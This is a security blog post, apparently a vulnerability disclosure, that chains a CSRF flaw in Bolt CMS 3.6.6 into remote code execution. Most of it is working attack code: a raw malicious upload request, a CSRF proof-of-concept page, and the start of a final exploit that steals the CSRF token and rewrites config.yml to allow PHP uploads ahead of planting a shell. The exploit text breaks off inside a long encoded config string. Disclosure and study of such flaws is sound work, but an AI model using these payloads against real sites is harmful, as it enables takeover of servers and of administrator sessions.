Posts From CSRF to RCE
Post
Cancel

From CSRF to RCE

A few days ago I started taking interest in Bolt, a content management that quoting from its github, is a “Sophisticated, lightweight & simple CMS”.

The team behind it really did a great job in making the CMS easy to use, and packed with a lot of features. I truly recommend you checking out their project if you are looking for a cool new CMS to use.

Affected Version

Bolt CMS 3.6.6 - It is possible that lower versions are vulnerable as well.

Explanation

It is common to find some vulnerabilities that alone don’t actually create a good case, like CSRF and some types of XSS, so it’s up to the attacker to make use of them and create creative ways to chain attacks.

In this post, I will be showing how it was possible to obtain Remote Code Execution through a Cross Site Request Forgery in Bolt CMS.

Starting with CSRF

This flaw exists in the file upload section called “Files on the Stack”, available for users that can manage content for the Homepage, Pages, Entries and Blocks.

You may think, CSRF on file upload? What can I do with this? Can I pwn the server sending PHP? No, BUT you can upload HTML files!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /bolt/upload HTTP/1.1
Host: victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://victim.com/bolt/editcontent/homepage
X-Requested-With: XMLHttpRequest
Content-Length: 227
Content-Type: multipart/form-data; boundary=---------------------------6228775941835128519569528722
Connection: close
-----------------------------6228775941835128519569528722
Content-Disposition: form-data; name="files[]"; filename="test.html"
Content-Type: text/markdown

<html><script>alert("hi");</script></html>

-----------------------------6228775941835128519569528722--

This means that we, attackers, can execute arbitrary JavaScript in the same context as the application with the authenticated user privileges, which you will see how important it is for the attack.

A simple code to exploit CSRF and upload an HTML file is provided below (with the help of Burp Pro), it will upload a “test.html” file that can be located in a default path for every bolt installation: “/files/YEAR-MONTH” in my case: “victim.com/files/2019-04/test.html”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/127.0.0.1\/bolt\/upload", true);
        xhr.setRequestHeader("Accept", "application\/json, text\/javascript, *\/*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------6228775941835128519569528722");
        xhr.withCredentials = true;
        var body = "-----------------------------6228775941835128519569528722\r\n" + 
          "Content-Disposition: form-data; name=\"files[]\"; filename=\"test.html\"\r\n" + 
          "Content-Type: text/markdown\r\n" + 
          "\r\n" + 
          "\x3chtml\x3e\x3cscript\x3ealert(\"hi\");\x3c/script\x3e\x3c/html\x3e\n" + 
          "\r\n" + 
          "-----------------------------6228775941835128519569528722--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

About the RCE

Now comes the fun stuff, finding a vulnerability or a legitimate way to obtain remote code execution.

Looking for known vulnerabilities in the code did not result in anything interesting, at least for the time I spent in the analysis. When looking into some of the features available for privileged users, I discovered one that allows changes in a configuration file that controls what variables are allowed to be uploaded in the application.

The feature in question can be accessed inside the settings menu on “Configuration” and then “Main Configuration”, or by accessing it directly: “/bolt/file/edit/config/config.yml”

# Define the file types (extensions to be exact) that are acceptable for upload
# in either 'file' fields or through the 'files' screen.
accept_file_types: [ twig, html, js, css, scss, gif, jpg, jpeg, png, ico, zip, tgz, txt, md, doc, docx, pdf, epub, xls, xlsx, ppt, pptx, mp3, ogg, wav, m4a, mp4, m4v, ogv, wmv, avi, webm, svg]

As you see, an attacker with this level of access is able to bypass upload restrictions without much effort by including “php” extension inside the “accept_file_types” list.

Now, any file upload feature can be used to achieve our goal.

Proof of Concept

Our exploration will have the following path:

  1. Victim access attacker’s URL
  2. Victim Browser attemps to upload our “stager” HTML file
  3. Victim is redirected to our stager page inside the server
  4. Stager makes three requests:
    1. Obtain request token to bypass CSRF protection
    2. Use token to change allowed types list
    3. Upload our Shell
  5. Attacker waits for shell with popcorn

Final Exploit

https://www.exploit-db.com/exploits/46664

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function exploit() {

        var target = "http://127.0.0.1"

        var bolt_admin_url = target + "/bolt";

        var xhr = new XMLHttpRequest();
        xhr.open("POST", bolt_admin_url + "/upload", true);
        xhr.setRequestHeader("Accept", "application\/json, text\/javascript, *\/*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------130713229751679908527494159");
        xhr.withCredentials = true;
        var body = "-----------------------------130713229751679908527494159\r\n" + 
          "Content-Disposition: form-data; name=\"files[]\"; filename=\"stager.html\"\r\n" + 
          "Content-Type: text/plain\r\n" + 
          "\r\n" + 
          "\x3cscript\x3e\r\n" + 
          "\r\n" + 
          "function exploit(){\r\n" + 
          "\r\n" + 
          "        var bolt_admin_url = \""+bolt_admin_url+"\";\r\n" + 
          "\r\n" + 
          "        var xhr = new XMLHttpRequest();\r\n" + 
          "        \r\n" + 
          "        if(xhr) {\r\n" + 
          "            xhr.open(\'GET\', bolt_admin_url + \"/file/edit/config/config.yml\", true);\r\n" + 
          "            xhr.onreadystatechange = handler;\r\n" + 
          "            xhr.send();\r\n" + 
          "        }\r\n" + 
          "\r\n" + 
          "        function handler(){\r\n" + 
          "          if (xhr.readyState == 4 && xhr.status == 200) {\r\n" + 
          "                user_page = document.createElement(\'html\');\r\n" + 
          "                user_page.innerHTML = xhr.responseText;\r\n" + 
          "                token_input = (user_page.getElementsByTagName(\'input\')[0]).value;\r\n" + 
          "                console.log(\"Token obtained:\" + token_input);\r\n" + 
          "                ModifyAllowedExtensions(token_input);\r\n" + 
          "                UploadShell();\r\n" + 
          "          }\r\n" + 
          "        }\r\n" + 
          "\r\n" + 
          "        function ModifyAllowedExtensions(token) {\r\n" + 
          "\r\n" + 
          "            var xhr = new XMLHttpRequest();\r\n" + 
          "            xhr.open(\"POST\", bolt_admin_url + \"/file/edit/config/config.yml\", true);\r\n" + 
          "            xhr.setRequestHeader(\"Accept\", \"application\\/json, text\\/javascript, *\\/*; q=0.01\");\r\n" + 
          "            xhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");\r\n" + 
          "            xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\r\n" + 
          "            xhr.withCredentials = true;\r\n" + 
          "            var body = \"file_edit%5B_token%5D=\"+token+\"&file_edit%5Bcontents%5D=%23+Database+setup.+The+driver+can+be+either+\\\'sqlite\\\'%2C+\\\'mysql\\\'+or+\\\'postgres\\\'.%0D%0A%23%0D%0A%23+For+SQLite%2C+only+the+databasename+is+required.+However%2C+MySQL+and+PostgreSQL%0D%0A%23+also+require+\\\'username\\\'%2C+\\\'password\\\'%2C+and+optionally+\\\'host\\\'+(+and+\\\'port\\\'+)+if+the+database%0D%0A%23+server+is+not+on+the+same+host+as+the+web+server.%0D%0A%23%0D%0A%23+If+you\\\'re+trying+out+Bolt%2C+just+keep+it+set+to+SQLite+for+now.%0D%0Adatabase%3A%0D%0A++++driver%3A+sqlite%0D%0A++++databasename%3A+bolt%0D%0A%0D%0A%23+The+name+of+the+website%0D%0Asitename%3A+A+sample+site%0D%0Apayoff%3A+The+amazing+payoff+goes+here%0D%0A%0D%0A%23+The+theme+to+use.%0D%0A%23%0D%0A%23+Don\\\'t+edit+the+provided+templates+directly%2C+because+they+_will_+get+updated%0D%0A%23+in+next+releases.+If+you+wish+to+modify+a+default+theme%2C+copy+its+folder%2C+and%0D%0A%23+change+the+name+here+accordingly.%0D%0Atheme%3A+base-2018%0D%0A%0D%0A%23+The+locale+that\\\'ll+be+used+by+the+application.+If+no+locale+is+set+the%0D%0A%23+fallback+locale+is+\\\'en_GB\\\'.+For+available+options%2C+see%3A%0D%0A%23+https%3A%2F%2Fdocs.bolt.cm%2Fother%2Flocales%0D%0A%23%0D%0A%23+In+some+cases+it+may+be+needed+to+specify+(non-standard)+variations+of+the%0D%0A%23+locale+to+get+everything+to+work+as+desired.%0D%0A%23%0D%0A%23+This+can+be+done+as+%5Bnl_NL%2C+Dutch_Netherlands%5D+when+specifying+multiple%0D%0A%23+locales%2C+ensure+the+first+is+a+standard+locale.%0D%0Alocale%3A+en_GB%0D%0A%0D%0A%23+Set+the+timezone+to+be+used+on+the+website.+For+a+list+of+valid+timezone%0D%0A%23+settings%2C+see%3A+http%3A%2F%2Fphp.net%2Fmanual%2Fen%2Ftimezones.php%0D%0A%23+timezone%3A+UTC%0D%0A%0D%0A%23+Set+maintenance+mode+on+or+off.%0D%0A%23%0D%0A%23+While+in+maintenance+mode%2C+only+users+of+level+editor+or+higher+can+access+the%0D%0A%23+site.%0D%0A%23%0D%0A%23+All+other+visitors+are+presented+with+a+notice+that+the+site+is+currently%0D%0A%23+offline.%0D%0A%23%0D%0A%23+The+default+template+file+can+be+found+in+%2Fapp%2Ftheme_defaults%2F+and+overridden%0D%0A%23+with+this+option+using+your+own+theme.%0D%0A%23%0D%0A%23+Note%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on+the%0D%0A%23+++++++website%2C+be+sure+to+check+for+a+config.yml+file+in+your+theme\\\'s+folder.%0D%0A%23+++++++If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Amaintenance_mode%3A+false%0D%0Amaintenance_template%3A+maintenance_default.twig%0D%0A%0D%0A%23+The+hour+of+the+day+for+the+internal+cron+task+scheduler+to+run+daily%2C+weekly%2C%0D%0A%23+monthly+and+yearly+jobs.%0D%0A%23%0D%0A%23+Default%3A+3+(3+am)%0D%0Acron_hour%3A+3%0D%0A%0D%0A%23+If+your+site+is+reachable+under+different+urls+(say%2C+both+blog.example.org%2F%0D%0A%23+as+well+as+example.org%2F)%2C+it\\\'s+a+good+idea+to+set+one+of+these+as+the%0D%0A%23+canonical%2C+so+it\\\'s+clear+which+is+the+primary+address+of+the+site.%0D%0A%23%0D%0A%23+If+you+include+%60https%3A%2F%2F%60%2C+it+will+be+included+in+the+canonical+urls.%0D%0A%23canonical%3A+example.org%0D%0A%0D%0A%23+Bolt+can+insert+a+%3Clink+rel%3D%22shortcut+icon%22%3E+for+all+pages+on+the+site.%0D%0A%0D%0A%23+Note%3A+The+location+given+is+relative+to+the+currently+selected+theme.+If%0D%0A%23+++++++you+want+to+set+the+icon+yourself%2C+just+don\\\'t+enable+the+following+line.%0D%0A%23favicon%3A+images%2Ffavicon-bolt.ico%0D%0A%0D%0A%23+The+default+content+to+use+for+the+homepage%2C+and+the+template+to+render+it%0D%0A%23+with.+This+can+either+be+a+specific+record+(like+%60page%2F1%60)+or+a+listing+of%0D%0A%23+records+(like+%60entries%60).+In+the+chosen+\\\'homepage_template\\\'%2C+you+will+have%0D%0A%23+%60record%60+or+%60records%60+at+your+disposal%2C+depending+on+the+\\\'homepage\\\'+setting.%0D%0A%23%0D%0A%23+Note%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on%0D%0A%23+++++++the+website%2C+be+sure+to+check+for+a+theme.yml+file+in+your+theme\\\'s%0D%0A%23+++++++folder.+If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Ahomepage%3A+homepage%2F1%0D%0Ahomepage_template%3A+index.twig%0D%0A%0D%0A%23+The+default+content+for+the+404+page.+Can+be+an+(array+of)+template+names+or%0D%0A%23+identifiers+for+records%2C+which+will+be+tried+until+a+match+is+found.%0D%0A%23%0D%0A%23+Note%3A+The+record+specified+in+this+parameter+must+be+set+to+\\\'published\\\'.%0D%0Anotfound%3A+%5B+not-found.twig%2C+block%2F404-not-found+%5D%0D%0A%0D%0A%23+The+default+template+for+single+record+pages+on+the%0D%0A%23+site.%0D%0A%23%0D%0A%23+Can+be+overridden+for+each+contenttype+and+for+each+record%2C+if+it+has+a%0D%0A%23+\\\'templateselect\\\'+field.%0D%0A%23%0D%0A%23+Note%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on+the%0D%0A%23+++++++website%2C+be+sure+to+check+for+a+config.yml+file+in+your+theme\\\'s+folder.%0D%0A%23+++++++If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Arecord_template%3A+record.twig%0D%0A%0D%0A%23+The+default+template+and+amount+of+records+to+use+for+listing-pages+on+the%0D%0A%23+site.%0D%0A%23%0D%0A%23+Can+be+overridden+for+each+contenttype.%0D%0A%23%0D%0A%23+Note+1%3A+Sorting+on+TAXONOMY-pages+will+give+unexpected+results%2C+if+it+has+a%0D%0A%23+++++++++pager.%0D%0A%23+++++++++If+you+need+sorting+on+those%2C+make+sure+you+display+all+the+records+on+one%0D%0A%23+++++++++page.%0D%0A%23%0D%0A%23+Note+2%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on+the%0D%0A%23+++++++++website%2C+be+sure+to+check+for+a+config.yml+file+in+your+theme\\\'s%0D%0A%23+++++++++folder.+If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Alisting_template%3A+listing.twig%0D%0Alisting_records%3A+6%0D%0Alisting_sort%3A+datepublish+DESC%0D%0A%0D%0A%23+Because+of+limitations+on+how+the+underlying+database+queries+work%2C+there+are%0D%0A%23+only+two+options+for+sorting+on+taxonomies.+\\\'ASC\\\'+for+roughly+%22oldest+first%22%0D%0A%23+and+\\\'DESC\\\'+for+roughly+\\\'newest+first\\\'.%0D%0Ataxonomy_sort%3A+DESC%0D%0A%0D%0A%23+Template+for+showing+the+search+results.+If+not+defined%2C+uses+the+settings+for%0D%0A%23+listing_template+and+listing_records.%0D%0A%23%0D%0A%23+Note%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on+the%0D%0A%23+++++++website%2C+be+sure+to+check+for+a+config.yml+file+in+your+theme\\\'s+folder.%0D%0A%23+++++++If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Asearch_results_template%3A+search.twig%0D%0Asearch_results_records%3A+10%0D%0A%0D%0A%23+Add+jQuery+to+the+rendered+HTML%2C+whether+or+not+it\\\'s+added+by+an+extension.%0D%0Aadd_jquery%3A+false%0D%0A%0D%0A%23+The+default+amount+of+records+to+show+on+overview+pages.+Can+be+overridden%0D%0A%23+for+each+contenttype.%0D%0Arecordsperpage%3A+10%0D%0A%0D%0A%23+Settings+for+caching+in+parts+of+Bolt.%0D%0A%23+-+config%3A++++++++Caches+the+parsed+.yml+files+from+%2Fapp%2Fconfig.+It\\\'s+updated%0D%0A%23++++++++++++++++++immediately+when+one+of+the+files+changes+on+disk.+There%0D%0A%23++++++++++++++++++should+be+no+good+reason+to+turn+this+off.%0D%0A%23%0D%0A%23+-+templates%3A+++++Caches+rendered+templates.%0D%0A%23%0D%0A%23+-+request%3A+++++++Caches+rendered+pages+in+the+configured+HTTP+reverse+proxy%0D%0A%23++++++++++++++++++cache%2C+on+GET+%26+HEAD+requests.%0D%0A%23++++++++++++++++++By+default+this+is+handled+by+Syfmony+HTTP+Cache.%0D%0A%23%0D%0A%23+-+duration%3A++++++The+duration+(in+minutes)+for+the+\\\'templates\\\'+and+\\\'request\\\'%0D%0A%23++++++++++++++++++options.+default+is+10+minutes.+Note+that+the+duration+is+set%0D%0A%23++++++++++++++++++on+storing+the+cache.+By+lowering+this+value+you+will+not%0D%0A%23++++++++++++++++++invalidate+currently+cached+items.%0D%0A%23%0D%0A%23+-+authenticated%3A+Cache+\\\'templates\\\'+and+\\\'request\\\'+for+logged-on+users.+In+most%0D%0A%23++++++++++++++++++cases+you+should+*NOT*+enable+this%2C+because+it+will+cause%0D%0A%23++++++++++++++++++side-effects+if+the+website+shows+different+content+to%0D%0A%23++++++++++++++++++authenticated+users.%0D%0A%23%0D%0A%23+-+thumbnails%3A++++Caches+thumbnail+generation.%0D%0A%23%0D%0A%23+-+translations%3A++Caches+translation+files.+It+is+recommend+to+leave+this%0D%0A%23++++++++++++++++++enabled.+Only+if+you+develop+extensions+and+work+with%0D%0A%23++++++++++++++++++translation+files+you+should+turn+this+off.%0D%0Acaching%3A%0D%0A++++config%3A+true%0D%0A++++templates%3A+true%0D%0A++++request%3A+false%0D%0A++++duration%3A+10%0D%0A++++authenticated%3A+false%0D%0A++++thumbnails%3A+true%0D%0A++++translations%3A+true%0D%0A%0D%0A%23+Set+\\\'enabled\\\'+to+\\\'true\\\'+to+log+all+content+changes+in+the+database.%0D%0A%23%0D%0A%23+Unless+you+need+to+rigorously+monitor+every+change+to+your+site\\\'s+content%2C+it%0D%0A%23+is+recommended+to+keep+this+disabled.%0D%0Achangelog%3A%0D%0A++++enabled%3A+false%0D%0A%0D%0A%23+Default+settings+for+thumbnails.%0D%0A%23%0D%0A%23+Quality+should+be+between+0+(horrible%2C+small+file)+and+100+(best%2C+huge+file).%0D%0A%23%0D%0A%23+cropping%3A+++++++++++One+of+either+crop%2C+fit%2C+borders%2C+resize.%0D%0A%23+default_thumbnail%3A++The+default+size+of+images%2C+when+using%0D%0A%23+++++++++++++++++++++%7B%7B+record.image%7Cthumbnail()+%7D%7D%0D%0A%23+default_image%3A++++++The+default+size+of+images%2C+when+using%0D%0A%23+++++++++++++++++++++%7B%7B+record.image%7Cimage()+%7D%7D%0D%0A%23+allow_upscale%3A++++++Determines+whether+small+images+will+be+enlarged+to+fit%0D%0A%23+++++++++++++++++++++the+requested+dimensions.%0D%0A%23+browser_cache_time%3A+Sets+the+amount+of+seconds+that+the+browser+will+cache%0D%0A%23+++++++++++++++++++++images+for.+Set+it+to+activate+browser+caching.%0D%0A%23%0D%0A%23+Note%3A+If+you+change+these+values%2C+you+might+need+to+clear+the+cache+before%0D%0A%23+++++++they+show+up.%0D%0Athumbnails%3A%0D%0A++++default_thumbnail%3A+%5B+160%2C+120+%5D%0D%0A++++default_image%3A+%5B+1000%2C+750+%5D%0D%0A++++quality%3A+80%0D%0A++++cropping%3A+crop%0D%0A++++notfound_image%3A+bolt_assets%3A%2F%2Fimg%2Fdefault_notfound.png%0D%0A++++error_image%3A+bolt_assets%3A%2F%2Fimg%2Fdefault_error.png%0D%0A++++save_files%3A+false%0D%0A++++allow_upscale%3A+false%0D%0A++++exif_orientation%3A+true%0D%0A++++only_aliases%3A+false%0D%0A%23++++browser_cache_time%3A+2592000%0D%0A%0D%0A%23+Define+the+HTML+tags+and+attributes+that+are+allowed+in+\\\'cleaned\\\'+HTML.+This%0D%0A%23+is+used+for+sanitizing+HTML%2C+to+make+sure+there+are+no+undesirable+elements%0D%0A%23+left+in+the+content+that+is+shown+to+users.+For+example%2C+tags+like+%60%3Cscript%3E%60%0D%0A%23+or+%60onclick%60-attributes.%0D%0A%23+Note%3A+enabling+options+in+the+%60wysiwyg%60+settings+will+implicitly+add+items+to%0D%0A%23+the+allowed+tags.+For+example%2C+if+you+set+%60images%3A+true%60%2C+the+%60%3Cimg%3E%60+tag%0D%0A%23+will+be+allowed%2C+regardless+of+it+being+in+the+%60allowed_tags%60+setting.%0D%0Ahtmlcleaner%3A%0D%0A++++allowed_tags%3A+%5B+div%2C+span%2C+p%2C+br%2C+hr%2C+s%2C+u%2C+strong%2C+em%2C+i%2C+b%2C+li%2C+ul%2C+ol%2C+mark%2C+blockquote%2C+pre%2C+code%2C+tt%2C+h1%2C+h2%2C+h3%2C+h4%2C+h5%2C+h6%2C+dd%2C+dl%2C+dt%2C+table%2C+tbody%2C+thead%2C+tfoot%2C+th%2C+td%2C+tr%2C+a%2C+img%2C+address%2C+abbr%2C+iframe%2C+caption%2C+sub%2C+sup%2C+figure%2C+figcaption+%5D%0D%0A++++allowed_attributes%3A+%5B+id%2C+class%2C+style%2C+name%2C+value%2C+href%2C+src%2C+alt%2C+title%2C+width%2C+height%2C+frameborder%2C+allowfullscreen%2C+scrolling%2C+target%2C+colspan%2C+rowspan+%5D%0D%0A%0D%0A%23+Uploaded+file+handling%0D%0A%23%0D%0A%23+You+can+change+the+pattern+match+and+replacement+on+uploaded+files+and+if+the%0D%0A%23+resulting+filename+should+be+transformed+to+lower+case.%0D%0A%23%0D%0A%23+Setting+\\\'autoconfirm%3A+true\\\'+prevents+the+creation+of+temporary+lock+files%0D%0A%23+while+uploading.%0D%0A%23%0D%0A%23+upload%3A%0D%0A%23+++++pattern%3A+\\\'%5B%5EA-Za-z0-9%5C.%5D%2B\\\'%0D%0A%23+++++replacement%3A+\\\'-\\\'%0D%0A%23+++++lowercase%3A+true%0D%0A%23+++++autoconfirm%3A+false%0D%0A%0D%0A%23+Define+the+file+types+(extensions+to+be+exact)+that+are+acceptable+for+upload%0D%0A%23+in+either+\\\'file\\\'+fields+or+through+the+\\\'files\\\'+screen.%0D%0Aaccept_file_types%3A+%5B+php%2C+twig%2C+html%2C+js%2C+css%2C+scss%2C+gif%2C+jpg%2C+jpeg%2C+png%2C+ico%2C+zip%2C+tgz%2C+txt%2C+md%2C+doc%2C+docx%2C+pdf%2C+epub%2C+xls%2C+xlsx%2C+ppt%2C+pptx%2C+mp3%2C+ogg%2C+wav%2C+m4a%2C+mp4%2C+m4v%2C+ogv%2C+wmv%2C+avi%2C+webm%2C+svg%5D%0D%0A%0D%0A%23+Alternatively%2C+if+you+wish+to+limit+these%2C+uncomment+the+following+list%0D%0A%23+instead.+It+just+includes+file+types+%2F+extensions+that+are+harder+to+exploit.%0D%0A%23+accept_file_types%3A+%5B+gif%2C+jpg%2C+jpeg%2C+png%2C+txt%2C+md%2C+pdf%2C+epub%2C+mp3%2C+svg+%5D%0D%0A%0D%0A%23+If+you+want+to+\\\'brand\\\'+the+Bolt+backend+for+a+client%2C+you+can+change+some+key%0D%0A%23+variables+here%2C+that+determine+the+name+of+the+backend%2C+and+adds+a+primary%0D%0A%23+support%2Fcontact+link+to+the+footer.++Add+a+scheme%2C+like+%60mailto%3A%60+or%0D%0A%23+%60https%3A%2F%2F%60+to+the+email+or+URL.%0D%0A%23%0D%0A%23+Additionally+you+can+change+the+mount+point+for+the+backend%2C+either+for%0D%0A%23+convenience+or+to+obscure+it+from+prying+eyes.%0D%0A%23%0D%0A%23+The+Bolt+backend+is+accessible+as+%60%2Fbolt%2F%60+by+default.+If+you+change+it+here%2C%0D%0A%23+it+will+only+be+accessible+through+the+value+set+in+\\\'path\\\'.%0D%0A%23+Keep+the+path+simple%3A+lowercase+only%2C+no+extra+slashes+or+other+special%0D%0A%23+characters.%0D%0A%23+branding%3A%0D%0A%23+++++name%3A+SuperCMS%0D%0A%23+++++path%3A+%2Fadmin%0D%0A%23+++++provided_by%3A+%5B+supercool%40example.org%2C+%22Supercool+Webdesign+Co.%22+%5D%0D%0A%23+++++news_source%3A+http%3A%2F%2Fnews.example.org%0D%0A%23+++++news_variable%3A+news%0D%0A%0D%0A%23+Show+the+\\\'debug\\\'+nut+in+the+lower+right+corner+for+logged-in+user.+By+default%2C%0D%0A%23+the+debugbar+is+only+shown+to+logged-in+users.+Use+the+\\\'debug_show_loggedoff\\\'%0D%0A%23+option+to+show+it+to+all+users.+You+probably+do+not+want+to+use+this+in+a%0D%0A%23+production+environment.%0D%0Adebug%3A+true%0D%0Adebug_show_loggedoff%3A+true%0D%0Adebug_permission_audit_mode%3A+false%0D%0Adebug_error_level%3A+8181+++++++++++%23+equivalent+to+E_ALL+%26~+E_NOTICE+%26~+E_DEPRECATED+%26~+E_USER_DEPRECATED+%26~+E_WARNING%0D%0A%23+debug_error_level%3A+-1+++++++++++++++%23+equivalent+to+E_ALL%0D%0Adebug_error_use_symfony%3A+false++++++%23+When+set+to+true%2C+Symfony+Profiler+will+be+used+for+exception+display+when+possible%0D%0Adebug_trace_argument_limit%3A+4+++++++%23+Determine+how+many+steps+in+the+backtrace+will+show+(dump)+arguments.%0D%0A%0D%0A%23+error+level+when+debug+is+disabled%0D%0Aproduction_error_level%3A+8181+%23+%3D+E_ALL+%26~+E_NOTICE+%26~+E_WARNING+%26~+E_DEPRECATED+%26~+E_USER_DEPRECATED%0D%0A%0D%0A%23+System+debug+logging%0D%0A%23+This+will+enable+intensive+logging+of+Silex+functions+and+will+be+very+hard+on%0D%0A%23+performance+and+log+file+size.++++The+log+file+will+be+created+in+your+cache%0D%0A%23+directory.%0D%0A%23%0D%0A%23+Enable+this+for+short+time+periods+only+when+diagnosing+system+issues.%0D%0A%23+The+level+can+be+either%3A+DEBUG%2C+INFO%2C+NOTICE%2C+WARNING%2C+ERROR%2C+CRITICAL%2C+ALERT%2C+EMERGENCY%0D%0Adebuglog%3A%0D%0A++++enabled%3A+false%0D%0A++++filename%3A+bolt-debug.log%0D%0A++++level%3A+DEBUG%0D%0A%0D%0A%23+Use+strict+variables.+This+will+make+Bolt+complain+if+you+use+%7B%7B+foo+%7D%7D%2C%0D%0A%23+when+foo+doesn\\\'t+exist.%0D%0Astrict_variables%3A+false%0D%0A%0D%0A%23+There+are+several+options+for+giving+editors+more+options+to+insert+images%2C%0D%0A%23+video%2C+etc+in+the+WYSIWYG+areas.+But%2C+as+you+give+them+more+options%2C+that%0D%0A%23+means+they+also+have+more+ways+of+breaking+the+preciously+designed+layout.%0D%0A%23%0D%0A%23+By+default+the+most+\\\'dangerous\\\'+options+are+set+to+\\\'false\\\'.+If+you+choose+to%0D%0A%23+enable+them+for+your+editors%2C+please+instruct+them+thoroughly+on+their%0D%0A%23+responsibility+not+to+break+the+layout.%0D%0Awysiwyg%3A%0D%0A++++images%3A+false++++++++++++%23+Allow+users+to+insert+images+in+the+content.%0D%0A++++anchor%3A+false++++++++++++%23+Adds+a+button+to+create+internal+anchors+to+link+to.%0D%0A++++tables%3A+false++++++++++++%23+Adds+a+button+to+insert+and+modify+tables+in+the+content.%0D%0A++++fontcolor%3A+false+++++++++%23+Allow+users+to+mess+around+with+font+coloring.%0D%0A++++align%3A+false+++++++++++++%23+Adds+buttons+for+\\\'align+left\\\'%2C+\\\'align+right\\\'%2C+etc.%0D%0A++++subsuper%3A+false++++++++++%23+Adds+buttons+for+subscript+and+superscript%2C+using+%60%3Csub%3E%60+and+%60%3Csup%3E%60.%0D%0A++++embed%3A+false+++++++++++++%23+Allows+the+user+to+insert+embedded+video\\\'s+from+Youtube%2C+Vimeo%2C+etc.%0D%0A++++underline%3A+false+++++++++%23+Adds+a+button+to+underline+text%2C+using+the+%60%3Cu%3E%60-tag.%0D%0A++++ruler%3A+false+++++++++++++%23+Adds+a+button+to+add+a+horizontal+ruler%2C+using+the+%60%3Chr%3E%60-tag.%0D%0A++++strike%3A+false++++++++++++%23+Adds+a+button+to+add+stikethrough%2C+using+the+%60%3Cs%3E%60-tag.%0D%0A++++blockquote%3A+false++++++++%23+Allows+the+user+to+insert+blockquotes+using+the+%60%3Cblockquote%3E%60-tag.%0D%0A++++codesnippet%3A+false+++++++%23+Allows+the+user+to+insert+code+snippets+using+%60%3Cpre%3E%3Ccode%3E%60-tags.%0D%0A++++specialchar%3A+false+++++++%23+Adds+a+button+to+insert+special+chars+like+\\\'%E2%82%AC\\\'+or+\\\'%E2%84%A2\\\'.%0D%0A++++clipboard%3A+false+++++++++%23+Adds+buttons+to+\\\'undo\\\'+and+\\\'redo\\\'.%0D%0A++++copypaste%3A+false+++++++++%23+Adds+buttons+to+\\\'cut\\\'%2C+\\\'copy\\\'+and+\\\'paste\\\'.%0D%0A++++ck%3A%0D%0A++++++++autoParagraph%3A+true++%23+If+set+to+\\\'true\\\'%2C+any+pasted+content+is+wrapped+in+%60%3Cp%3E%60-tags+for+multiple+line-breaks%0D%0A++++++++disableNativeSpellChecker%3A+true+%23+If+set+to+\\\'true\\\'+it+will+stop+browsers+from+underlining+spelling+mistakes%0D%0A++++++++allowNbsp%3A+false+++++%23+If+set+to+\\\'false\\\'%2C+the+editor+will+strip+out+%60%26nbsp%3B%60+characters.+If+set+to+\\\'true\\\'%2C+it+will+allow+them.+%C2%AF%5C_(%E3%83%84)_%2F%C2%AF%0D%0A%0D%0A%23+Bolt+uses+the+Google+maps+API+for+it\\\'s+geolocation+field+and+Google+now%0D%0A%23+requires+that+it+be+loaded+with+an+API+key+on+new+domains.+You+can+generate%0D%0A%23+a+key+at+https%3A%2F%2Fdevelopers.google.com%2Fmaps%2Fdocumentation%2Fjavascript%2Fget-api-key%0D%0A%23+and+enter+it+here+to+make+sure+that+the+geolocation+field+works.%0D%0A%23+google_api_key%3A%0D%0A%0D%0A%23+Global+option+to+enable%2Fdisable+the+live+editor%0D%0Aliveeditor%3A+false%0D%0A%0D%0A%23+Use+the+\\\'mailoptions\\\'+setting+to+configure+how+Bolt+sends+email%3A+using+\\\'smtp\\\'%0D%0A%23+or+PHP\\\'s+built-in+%60mail()%60-function.%0D%0A%0D%0A%23+Note+that+the+latter+might+_seem_+easier%2C+but+it\\\'s+been+disabled+by+a+lot+of%0D%0A%23+webhosts%2C+in+order+to+prevent+spam+from+wrongly+configured+scripts.+If+you+use%0D%0A%23+it%2C+your+mail+might+disappear+into+a+black+hole%2C+without+producing+any+errors.%0D%0A%23+Generally+speaking%2C+using+\\\'smtp\\\'+is+the+better+option%2C+so+use+that+if+possible.%0D%0A%23%0D%0A%23+Protip%3A+If+y